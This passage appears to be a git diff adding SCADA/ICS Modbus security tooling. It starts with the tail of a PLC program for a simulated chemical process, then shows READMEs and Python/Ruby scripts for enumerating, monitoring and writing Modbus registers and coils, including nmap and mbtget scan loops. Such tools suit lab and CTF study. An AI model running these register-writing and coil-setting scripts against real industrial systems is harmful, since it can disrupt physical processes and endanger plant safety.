scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L 